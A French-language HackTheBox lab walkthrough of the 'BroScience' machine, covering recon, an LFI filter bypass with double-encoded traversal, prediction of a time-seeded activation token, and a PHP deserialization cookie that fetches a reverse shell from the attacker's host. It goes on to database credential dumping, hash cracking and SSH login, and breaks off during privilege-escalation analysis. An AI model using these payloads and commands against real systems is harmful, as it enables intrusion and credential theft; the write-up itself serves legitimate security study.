HackTheBox Walkthrough - BroScience¶
Machine ciblée : BroScience.
Répertoire : /home/kali/BroScience
Temps passé dessus : 10 heures
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Pour la version 1.5 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="BroScience"
repository="/home/kali/$name"
ip="10.10.11.195"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 15:28 CET
Nmap scan report for BroScience (10.10.11.195)
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| tls-alpn:
|_ http/1.1
|_http-title: BroScience : Home
|_ssl-date: TLS randomness does not represent time
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.83 seconds
Okay, en théorie, ça nous change un peu, on a un site web mais en SSL cette fois-ci ! Bon, on va envoyer les classiques quand même.
Phase 2 : Analyse¶
On fouille dans tous les sens¶
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://$name.$domain --no-tls-validation
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://BroScience.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/03/16 15:33:53 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/styles (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://$name.$domain/ --no-tls-validation -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://BroScience.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/03/16 16:01:33 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/index.php (Status: 200) [Size: 98413]
/login.php (Status: 200) [Size: 1936]
/register.php (Status: 200) [Size: 2161]
/user.php (Status: 200) [Size: 1309]
/comment.php (Status: 302) [Size: 13] [--> /login.php]
/includes (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/logout.php (Status: 302) [Size: 0] [--> /index.php]
/styles (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
/activate.php (Status: 200) [Size: 1256]
/exercise.php (Status: 200) [Size: 1322]
/server-status (Status: 403) [Size: 280]
Ok, alors vous allez me dire « mais qu’est-ce qu’il lui prends la d’un coup à faire un -x php alors qu’il en fait genre … JAMAIS !
Bah c’est tout simplement parce qu’en utilisant burp, j’ai vu que les fichiers étaient en .php et qu’il y en avait peut-être qui allait être utile comme le /activate.php que je n’ai pas vu de suite mais qui semble bien pratique.
Du coup, pour reprendre, on a face a nous un site web. Dans ce site web on a plusieurs fichiers intéressants : login.php et register.php qui demandent tous les deux un POST. Mais on a également activate.php, exercise.php et user.php qui fonctionnent avec un GET ?id=1. Ça pour moi, ça signifie injection SQL ou quelque chose de fun dans le même genre. Donc j’ai envoyé du SQLMap, et j’ai continué à regarder les dossiers dans burp. Il s’avère que sous includes, on a un fichier qui s’appelle img.php. Vous vous souvenez de Agile que je viens de me faire ou encore Inject qui avaient toutes les deux du directory traversal ? Bah on va retenter tout ça un !
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/user.php?id=1
<html>
<head>
<title>BroScience : administrator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/uikit@3.15.0/dist/css/uikit.min.css" />
<script src="https://cdn.jsdelivr.net/npm/uikit@3.15.0/dist/js/uikit.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/uikit@3.15.0/dist/js/uikit-icons.min.js"></script> <link rel="stylesheet" href="styles/light.css">
</head>
<body class="uk-dark">
<nav class="uk-navbar-container uk-margin uk-navbar-transparent uk-dark">
<div class="uk-container uk-container-expand">
<div class="uk-navbar" uk-navbar>
<div class="uk-navbar-left">
<a href="/" class="uk-navbar-item uk-logo">BroScience</a>
</div>
<div class="uk-navbar-right">
<ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul> </div>
</div>
</div>
</nav> <div class="uk-container uk-container-xsmall">
<h1 class="uk-heading-small">administrator</h1>
<!-- TODO: Avatars -->
<dl class="uk-description-list">
<dt>Member since</dt>
<dd>4 years ago</dd>
<dt>Email Address</dt>
<dd>administrator@broscience.htb</dd>
<dt>Total exercises posted</dt>
<dd>
51 </dd>
<dt>Total comments posted</dt>
<dd>
17 </dd>
<dt>Is activated</dt>
<dd>
Yes </dd>
<dt>Is admin</dt>
<dd>
Yes </dd>
</dl>
</div>
</body>
</html>
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ sqlmap -a --level 3 --risk 3 -u https://broscience.htb/user.php?id=1 # Spoiler alert, ça n'a rien rendu sur tous les sqlmap. Je fouille du côté de img.php.
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=../../../../../../../../../../etc/passwd
<b>Error:</b> Attack detected.
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=../user.php
<b>Error:</b> Attack detected.
Ok donc on comprend deux trucs plutôt simple avec ça :
img.phpest la piste à suivre pour commencer ;le chemin « ../ » doit être échapé. On va donc faire un tour sur hacktricks pour trouver peut-être une idée (et en essayer pleins.) ATTENTION, je ne vais mettre que la bonne. Si vous voulez tester de votre côté, allez-y tant qu’il est encore temps ;)
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=..%252fincludes%252fimg.php
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
En faite, on va dire à curl de mettre le caractère « % » (qui correspond au %25) puis le fichier va décoder le « %2f » qui correspond à un /. On sait donc 3 trucs désormais :
Comment échaper le fichier ;
Que l’on peut récupérer tous les fichiers qui nous intéresse ;
Et que l’on va pouvoir également prendre le
/etc/passwdcar l’urldecode se déroule après le check des badwords.
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Got you ! Là encore, on a plusieurs chose d’intéressentes ; on retrouve :
un utilisateur
www-dataen/usr/sbin/nologin, doncun utilisateur
postgresen/bin/bash. Ça nous indique pas mla quel est la bdd du site.Et un utilisateur
bill
Reconstruction du site web en local.¶
Ouais, j’ai un poil été feignant, je l’ai pas fait à la main. Mais comme ça, j’oublie rien.
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ mkdir -p ./site
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ for i in index.php login.php register.php user.php comment.php includes/img.php logout.php activate.php exercise.php ; do
if [ $i =~ .*"/".* ] ; then
i="${i/\//%252f}"
fi
burpcurl -k https://$name.$domain/includes/img.php?path=..%252f$i -s > ./$i
done
# En lisant le code, j'ai trouvé d'autres fichiers à télécharger :
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ for i in includes/navbar.php includes/db_connect.php includes/utils.php ; do
if [ $i =~ .*"/".* ] ; then
i="${i/\//%252f}"
fi
burpcurl -k https://$name.$domain/includes/img.php?path=..%252f$i -s > ./$i
done
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cat includes%252fdb_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
Bonne blague pour le salt, j’aime énormément. En tous cas, on a désormais un mot de passe. Essayons pour voir :
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ ssh postgre@$name
postgre@broscience s password:
Permission denied, please try again.
postgre@broscience s password:
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ ssh bill@$name
bill@broscience s password:
Permission denied, please try again.
Dommage. Continuons à fouiller ; on se garde ça pour plus tard !
Création d’un compte sur le site¶
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cat includes%252futils.php
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
[...]
?>
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cat activate.php
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
[...]
}}}}
?>
De ce que je comprends de tout ça, c’est que :
Quand on créé un nouveau compte, il nous demande un token d’activation ;
Le token d’activation est en hexa/case-sensitive (A-Za-z0-9) et fait exactement 32 charactères.
Je vais tenter de me créer un compte puis de fuzz sur le token d’activation ?
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ hydra $ip -l a -x 32:32:aA1 http-get-form "/activate?code=:^PASS^:F=invalid"
[ERROR] definition for password bruteforce (-x) generates more than 4 billion passwords - this is not arogram, it is just not feasible to try so many attempts. Try a calculator how long that would take. duh
Ok donc, c’est pas une histoire de bruteforce tout simple donc. J’ai du regardé sur le forum, en fait il y a un truc assez important dans le code, c’est la fonction srand(time()). Si vous avez pas cliqué, cette dernière initialise une seed pour le générateur d’aléa. Donc en fait, l’aléatoire de la fonction se base sur le temps. Donc en théorie, si je crée un compte et que je stocke l’heure de création ; puis que je génère un token avec le même procédé, je suis sûr qu’il aura la même valeur.
Seulement, je sais pas encore figer le temps. Heureusement, la fonction time donne le temps en seconde, ça rends les choses un peu plus simple ?
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ burpcurl -k https://$name.$domain/register.php -d "username=b&email=m@lo.cal&password=a&password-confirm=a" && echo "" && date +%s
Account created. Please check your email for the activation link. </div>
1678994379
Je n’ai pas récrée le code php sur ma Kali, je me suis servi du site onlinephp.io pour cela. Idée d’amélioration pour une prochaine fois.
<?php
// Enter your code here, enjoy!
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(1678994379);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$activ = generate_activation_code();
echo $activ;
?>
jTd9L5O8cVPAnGi1q7SDaZdKA43Cy6Nq
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ burpcurl -k https://$name.$domain/activate.php?code=jTd9L5O8cVPAnGi1q7SDaZdKA43Cy6Nq
<div> Account activated! </div>
On a un compte ! A ce stade de la partie, j’ai compris qu’il fallait que je retourne sur la page index. Ici, on trouve une nouvelle fonctionnalité : swap_theme qui rajoute un cookie sur notre machine pour gerer le thème du site. Il s’avère qu’après quelques recherches sur le code, on trouve qu’il y a une faille dans la désérialisation.
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ for i in swap_theme.php ; do
if [ $i =~ .*"/".* ] ; then
i="${i/\//%252f}"
fi
burpcurl -k https://$name.$domain/includes/img.php?path=..%252f$i -s > ./$i
done
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ cat ./site/swap_theme.php
<?php
session_start();
// Check if user is logged in already
if (!isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
set_theme("dark");
} else {
set_theme("light");
}
// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
header("Location: /index.php");
}
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ cat site/includes%252futils.php
[...]
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
J’ai tenté deux trois trucs au pif, j’ai rien réussis à faire. Avant de ragequit, j’ai voulu regarder un write-up. En fait, il faut, à l’intérieur du cookie, lui dire que l’on veut se rajouter un avatar et que l’image de cet avatar pointe sur un revershell que l’on héberge sur notre machine.
Ouais, je l’aurai surement pas eu tout seul. Mais comme j’aime pas juste faire le singe et recopier sa technique, je vais voir si j’arrive à le faire solo. En gros, la structure du cookie est plutôt simple :
O correspond à une class (je présume)
le chiffre après correspond au nombre de charactères
la string correspond au nom de la classe
s veut dire string
le chiffre après correspond (encore) au nombre de charactères
et ensuite, la string en question. Ça nous donne :
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light"};O:15:"AvatarInterface":2:{s:3:"tmp";s:36:"http://10.10.14.70:8000/revshell.php";s:7:"imgPath";s:14:"./revshell.php";}
On va donc tenter de créer notre nouveau cookie. Mais avant ça, on prépare nos listeners.
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cd ~/Tools
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ vi revphp.php
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ python3 -m http.server &
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ while 1=1 ; do nc -lvnp 3333 ; done
Dans un autre terminal, j’attaque donc la partie cookie. N.B : j’ai tenté avec la partie userpref avant ; mais ça ne semble pas fonctionner. J’ai du mettre que l’Avatar Interface.
echo -n 'O:15:"AvatarInterface":2:{s:3:"tmp";s:36:"http://10.10.14.70:8000/revshell.php";s:7:"imgPath";s:14:"./revshell.php";}' | base64 -w 0
burpcurl -k --cookie user-prefs="`echo -n 'O:15:"AvatarInterface":2:{s:3:"tmp";s:36:"http://10.10.14.70:8000/revshell.php";s:7:"imgPath";s:14:"./revshell.php";}' | base64 -w 0}`" https://$name.$domain/ # Normalement, cette ligne devrait marcher. Je l'ai fait passer sur un burp.
10.10.11.195 - - [16/Mar/2023 23:56:11] "GET /revshell.php HTTP/1.0" 200 -
burpcurl -k https://$name.$domain/revshell.php
[2] - continued nc -lvnp 3333
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.195] 52862
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU/Linux
18:56:34 up 5 min, 0 users, load average: 0.01, 0.08, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Phase 3 : User¶
Ok, maintenant que l’on est www-data, il faut encore que l’on devienne bill. Je pense passer par le SQL pour ça :
$ psql -h localhost -p 5432 -U dbuser -W broscience
Password: RangeOfMotion%777
\d
List of relations
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
select * from users;
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)
Ok donc on a des mots de passe haché. J’y aurai pas pensé de suite, mais est-ce que l’un d’entre eux est cassable avec rockyou ? Pour ça, je vais me servir de hashcat, qui a besoin des mots de passe au format $hash:$salt.
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ echo '15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl' > ./password
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ hashcat -m 20 password /usr/share/wordlists/rockyou.txt.gz
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 14.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-AMD Ryzen 7 5700U with Radeon Graphics, 1438/2941 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: password
Time.Started.....: Fri Mar 17 00:36:10 2023 (5 secs)
Time.Estimated...: Fri Mar 17 00:36:15 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3282.2 kH/s (0.09ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 3/4 (75.00%) Digests (total), 0/4 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 40%
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ hashcat -m 20 password --show
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
Bon ! On a trois nouveau mot de passe de plus, on va les essayer dans l’ordre pour la co ssh !
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ ssh bill@$ip
bill@10.10.11.195's password: #On commence par iluvhorsesandgym
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
Last login: Mon Jan 2 04:45:21 2023 from 10.10.14.40
bill@broscience:~$ # Et bah c est passé ?
bill@broscience:~$ cat user.txt
c0211202ead9112e2d9e659dbef63922
bill@broscience:~$
On est enfin utilisateur.
Phase 4 : Élévation de privilège¶
On va donc commencer par les classiques : le sudo -l, les différents mots de passes que l’on a déjà et le linpeas et si on trouve rien, on va fouiller un peu plus avec pspy.
bill@broscience:~$ sudo -l
iluvhorsesandgym
[sudo] password for bill:
Sorry, user bill may not run sudo on broscience.
bill@broscience:~$ su -
Password:
su: Authentication failure
bill@broscience:~$ su -
Password:
su: Authentication failure
bill@broscience:~$ su -
Password:
su: Authentication failure
bill@broscience:~$ wget http://10.10.14.70:8000/linpeas.sh
bill@broscience:~$ ./linpeas.sh
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x 2 root root 4096 Jul 14 2022 .
drwxr-xr-x 19 root root 4096 Jan 2 04:50 ..
-rwxr-xr-x 1 root root 1806 Jul 14 2022 renew_cert.sh
#[...] L'output m'a rien montré de transcendant.
bill@broscience:~$ wget http://10.10.14.70:8000/pspy64
--2023-03-17 05:14:26-- http://10.10.14.70:8000/pspy64
Connecting to 10.10.14.70:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[==============================================>] 2.96M 14.9MB/s in 0.2s
2023-03-17 05:14:26 (14.9 MB/s) - ‘pspy64’ saved [3104768/3104768]
bill@broscience:~$ bash ./pspy64
./pspy64: ./pspy64: cannot execute binary file
bill@broscience:~$ ./pspy64
-bash: ./pspy64: Permission denied
bill@broscience:~$ chmod +x ./pspy64
bill@broscience:~$ ./pspy64
2023/03/17 05:18:01 CMD: UID=0 PID=3827 | /usr/sbin/CRON -f
2023/03/17 05:18:01 CMD: UID=0 PID=3830 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/03/17 05:18:01 CMD: UID=0 PID=3829 | /bin/bash /root/cron.sh
2023/03/17 05:18:01 CMD: UID=0 PID=3828 | /bin/sh -c /root/cron.sh
2023/03/17 05:18:01 CMD: UID=0 PID=3831 | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/03/17 05:18:01 CMD: UID=0 PID=3832 | /bin/bash /root/cron.sh
2023/03/17 05:18:01 CMD: UID=0 PID=3833 | /bin/bash /root/cron.sh
Ok donc en effet, Linpeas m’a rien remonté de transcendant, mais couplé à pspy, on en apprends un peu plus, et ça c’est intéressant : root lance de façon périodique un script présent dans /opt/ et qui va chercher un input dans /home/bill/Certs. Voyons tout ça d’un peu plus près :
bill@broscience:~$ ls -la ./Certs/
total 8
drwxr-xr-x 2 bill bill 4096 Dec 2 05:24 .
drwxr-xr-x 16 bill bill 4096 Mar 17 05:18 ..
bill@broscience:~$ cat /opt/renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo1 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $ -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
